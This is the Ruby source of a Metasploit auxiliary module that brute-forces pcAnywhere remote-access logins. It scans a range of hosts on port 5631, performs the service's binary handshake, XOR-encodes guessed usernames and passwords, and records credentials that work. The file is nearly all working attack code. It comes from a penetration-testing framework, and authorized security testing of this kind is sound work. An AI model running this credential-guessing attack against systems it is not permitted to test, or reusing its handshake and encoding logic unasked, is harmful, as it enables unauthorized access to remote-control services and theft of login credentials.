modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'PcAnywhere Login Scanner',
'Description' => %q{
This module will test pcAnywhere logins on a range of machines and
report successful logins.
},
'Author' => ['theLightCosine'],
'References' =>
[
[ 'CVE', '1999-0502'] # Weak password
],
'License' => MSF_LICENSE
)
register_options([Opt::RPORT(5631)])
end
def run_host(ip)
connect
hsr = pca_handshake(ip)
return if hsr == :handshake_failed
each_user_pass do |user, pass|
next if user.blank? or pass.blank?
print_status("Trying #{user}:#{pass}")
result = do_login(user, pass)
case result
when :success
print_good("#{ip}:#{rport} Login Successful #{user}:#{pass}")
report_cred(
ip: rhost,
port: datastore['RPORT'],
service_name: 'pcanywhere',
user: user,
password: pass
)
return if datastore['STOP_ON_SUCCESS']
print_status('Waiting to Re-Negotiate Connection (this may take a minute)...')
select(nil, nil, nil, 40)
connect
hsr = pca_handshake(ip)
return if hsr == :handshake_failed
when :fail
print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
when :reset
print_status("#{ip}:#{rport} Login Failure #{user}:#{pass}")
print_status('Connection reset attempting to reconnect in 1 second')
select(nil, nil, nil, 1)
connect
hsr = pca_handshake(ip)
return if hsr == :handshake_failed
end
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user, pass, nsock=self.sock)
# Check if we are already at a logon prompt
res = nsock.get_once(-1,5)
euser = encryption_header(encrypt(user))
nsock.put(euser)
res = nsock.get_once(-1,5)
# See if this knocked a login prompt loose
if pca_at_login?(res)
nsock.put(euser)
res = nsock.get_once(-1,5)
end
# Check if we are now at the password prompt
unless res and res.include? 'Enter password'
print_error("Problem Sending Login: #{res.inspect}")
return :abort
end
epass = encryption_header(encrypt(pass))
nsock.put(epass)
res = nsock.get_once(-1,20)
if res.include? 'Login unsuccessful'
disconnect()
return :reset
elsif res.include? 'Invalid login'
return :fail
else
disconnect()
return :success
end
end
def pca_handshake(ip, nsock=self.sock)
print_status('Handshaking with the pcAnywhere service')
nsock.put("\x00\x00\x00\x00")
res = nsock.get_once(-1,5)
unless res and res.include? 'Please press <Enter>'
print_error("Handshake(1) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed
end
nsock.put("\x6F\x06\xff")
res = nsock.get_once(-1,5)
unless res and res.include? "\x78\x02\x1b\x61"
print_error("Handshake(2) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed
end
nsock.put("\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00")
res = nsock.get_once(-1,5)
unless res and res == "\x1b\x62\x00\x02\x00\x00\x00"
print_error("Handshake(3) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed
end
nsock.put("\x6f\x62\x01\x02\x00\x00\x00")
res = nsock.get_once(-1,5)
unless res and res.include? "\x00\x7D\x08"
print_error("Handshake(4) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed
end
res = nsock.get_once(-1,5) unless pca_at_login?(res)
unless pca_at_login?(res)
print_error("Handshake(5) failed on Host #{ip} aborting. Error: #{res.inspect}")
return :handshake_failed
end
end
def pca_at_login?(res)
return true if res and (res.include? 'Enter login name' or res.include? 'Enter user name' )
return false
end
def encrypt(data)
return '' if data.nil? or data.empty?
return '' unless data.kind_of? String
encrypted = ''
encrypted << ( data.unpack('C')[0] ^ 0xab )
data.bytes.each_with_index do |byte, idx|
next if idx == 0
encrypted << ( encrypted[(idx - 1),1].unpack('C')[0] ^ byte ^ (idx - 1) )
end
return encrypted
end
def encryption_header(data)
header = [6,data.size].pack('CC')
header << data
return header
end
end